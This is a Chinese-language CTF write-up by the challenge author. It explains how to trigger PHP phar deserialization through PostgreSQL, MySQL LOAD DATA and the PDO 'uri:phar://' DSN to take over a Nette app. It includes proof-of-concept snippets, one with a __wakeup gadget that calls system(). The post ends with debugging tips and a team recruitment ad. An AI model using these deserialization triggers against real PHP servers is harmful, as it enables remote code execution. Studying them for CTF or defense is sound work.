2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析
2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析
- 前言
- sql_debug sql_debug 题⽬介绍
- dsn_from_uri 触发phar反序列化
- Linux下PHP内核调试⼩知识
- 个⼈总结
- 重点来了
前言
恭喜永信至诚春秋GAME,2022年春秋杯网络安全联赛春季赛圆满成功!
首先很荣幸受邀给i春秋出题,然后因为自己没有太多时间去研究点好玩的新技术,于是就把之前发现的phar利⽤点给出成了题。最终整场⽐赛1解( 做出来的师傅不多 可能是因为调休补班,师傅们都没空来做,另一方面也是题⽬设计的不是很好 ,在这⾥给师傅们道个歉 ,轻点骂 什么垃圾题⽬。
sql_debug sql_debug 题⽬介绍
在这次2022年春秋杯联赛中,我出了⼀道 sql_debug 赛题。本题环境是 Nette Web ,⼀个PHP框架应⽤。我在环境⾥放了⼀个 install.php 可以修改框架的配置⽂件。
在控制器中呢也可以看到存在⼀个SQL注⼊的⽅法
我在环境⾥没有放置mysql 所以sql注⼊这个地⽅是⾏不通的。在⾼版本php⾥即使是在数据库配置可控的情况下尝试使⽤恶意mysql服务器读取⽂件也是不可以的。选⼿们到这⾥就应该思考 在配置⽂件可控的情况下有什么办法接管服务器了。结合题意我们可以对 Nette 的数据库初始化代码进⾏分析,你可以发现数据库是使⽤pdo进⾏连接的。
source/vendor/nette/database/src/Database/Connection.php
我们知道 myqsl 和 pdo 都有 phar 利⽤,不幸的是这两个利⽤⽅式都⽆法在本题中使⽤。
- Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres",
"sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
- MySQL
<?php
class A {public $s = '';
public function __wakeup () {system($this->s);}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES
TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
那么有没有⼀种可能,还有其他的 phar 利⽤⽅式呢?
dsn_from_uri 触发phar反序列化
我们跟进php源码 搜索 phar 反序列化的⼊⼝函数。
跟进该函数 可以发现直接调⽤了实参 uri查找 dsn_from_uri 发现只有⼀地⽅存在调⽤,即 static PHP_METHOD(PDO, dbh_constructor)
我们在php的官⽹可以找到 uri: 的相关解释:
dsn由uri组成:后⾯跟着⼀个定义包含dsn字符串的⽂件位置的uri。URI可以指定本地⽂件或远程URL。
所以我们可以通过 uri:phar://phar.phar 的⽅式触发phar反序列,demo如下:
<?php
include_once "classTest.php";
$dbms='mysql';
$host='localhost';
$dbName='test';
$user='root';
$pass='';
$dsn="uri:phar://phar.phar/$dbms:host=$host;dbname=$dbName";
try {$dbh = new PDO($dsn, $user, $pass);
$dbh = null;
} catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>");
}
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
?>
到这⾥这道题的解法就⾮常明朗了,接下来只需要挖⼀条 Nette 的链⼦写⼊ install.lock 打Phar就好。链⼦较为简单 不是本文的重点 这里就不贴POC了。
Linux下PHP内核调试⼩知识
1.vscode的调试配置⽂件⾥ 可以把参数配置为 -S 这样就可以启动web服务,⾮常的⽅便调试。
{// 使⽤ IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [{"name": "(lldb) Debug",
"type": "cppdbg",
"request": "launch",
"program": "/usr/local/php7.1.33/bin/php",
"args": ["-S","0:10001"],
"stopAtEntry": false,
"cwd": "${workspaceRoot}/html/",}]}
个⼈总结
1.鸡肋 只适合CTF
2.互联⽹没看到有⼈发 算是⼀个新的知识点
重点来了
你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱root@edisec.net(带上自己的简历,简历内容包括自己的学习方向,学习经历等)
2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析相关推荐
- 2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到)
2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到) 改改比赛wp发上来 本文来自csdn的⭐️shu天⭐️,平时会记录ctf.取证和渗透相关的文章,欢迎大家来我的主页:shu ...
- 2014年TI杯邀请赛——简易高速差分探头 题目解析
TI倍邀请赛马上就要开始了,多做几个题练练手,所以以后几期都是关于TI杯邀请赛的,敬请期待. 一.题目再现(完整题目已经上传) 任务:设计并制作一个简易有源高速差分示波器探头,实现差分输入.单端输出功 ...
- 2021年春秋杯网络安全联赛秋季赛 传说殿堂赛道misc部分writeup
Misc 问卷调查 略 secret_chart 解压出来一张图片,图片后面有个ZIP,手动分离出来之后去看图片发现没有LSB,准备去爆破一下然后就被我爆出来了 解压之后发现还真是chart,发现表格 ...
- 浅谈2022梧桐杯乡村、城市赛道双TOP1——从数据分析的角度
目录 第二届中国移动"梧桐杯"大数据应用创新大赛 - 数智乡村 大赛背景 ...
- 【2022春秋杯】两个题wp
Mercy-code 无参数RCE,过滤了很多 解法一 <?php highlight_file(__FILE__); if ($_POST['cmd']) {$cmd = $_POST['cm ...
- 2022春秋杯 勇者山峰 Misc-Tiger WP
拿到题目如下: 首先打开tips.txt文档: 提示了两点: 1.rot 47加密 2.lsb图片隐写 再打开另一个文档 对里面的内容进行rot47解密得到lsb隐写的密码:28a217fe 对于ls ...
- 2022春秋杯-被带走的机密文件
Misc-被带走的机密文件 正经取证题,没有任何套娃成分,请师傅们放心食用.(附件较大.) 题目给了一个E01镜像 使用取证大师(也有不使用的方法,并且并不是完全依靠取证大师)打开自动取证先简单进行信 ...
- “4.29”赛事再燃“360春秋杯”国际挑战赛报名启动
4月10日讯,为着眼"建设网络强国"的战略目标和"京津冀协同发展"的决策部署,促进网络安全行业发展,不断提升首都的网络安全能力和水平,按照市政府统一安排,由市网 ...
- “东华春秋杯”上海大学生网络安全技能大赛决赛收官 聚焦高校人才培养
11月21日, 由上海市教育委员会.上海计算机开放系统协会指导,东华大学主办,北京永信至诚科技有限公司协办,阅文集团.上海盛大网络发展有限公司.上海勋立信息科技有限公司.上海犇众信息技术有限公司支持的 ...
最新文章
- fullpage 单屏高度超过屏幕高度,实现单屏内可以滚动并解决手机端单屏高度不正确的问题
- mysql启动warning: World-writable config file
- 实践作业4:Web测试实践(小组作业)记录1
- 【坑】记录型信号量/AND信号量/管程解决生产者-消费者问题
- android 消除标题,Android Activity 去掉标题栏及全屏显示
- python如何启动前端_Django项目创建到启动详解(最全最具体)
- Linux环境下查看网络性能的基本命令
- 计算机科学的endnote格式,基于国家标准的 EndNote 输出样式模板
- android 分割数字图片,Android开发自定义View实现数字与图片无缝切换的2048
- Push master to origin/master was rejected by remote
- Android之高仿记事本、备忘录、便签
- 小米12pro天玑版和小米12pro哪个值得买 两者配置对比
- 【系统分析师之路】项目管理类论文写法心得
- wps怎么统一修改标点符号_Word2010中如何统一修改标点符号的字体格式?
- POJ 2240 Arbitrage 解题报告
- 从Qualcomm技术看loT未来发展方向
- USB键鼠类芯片CH9329应用笔记
- html5可滑动的文本框,html5 input type=range实现拖拉滑条功能
- 深度学习基本知识(一)评价方法precision\recall\mAP
- 个人云 私有云 公有云_个人云简介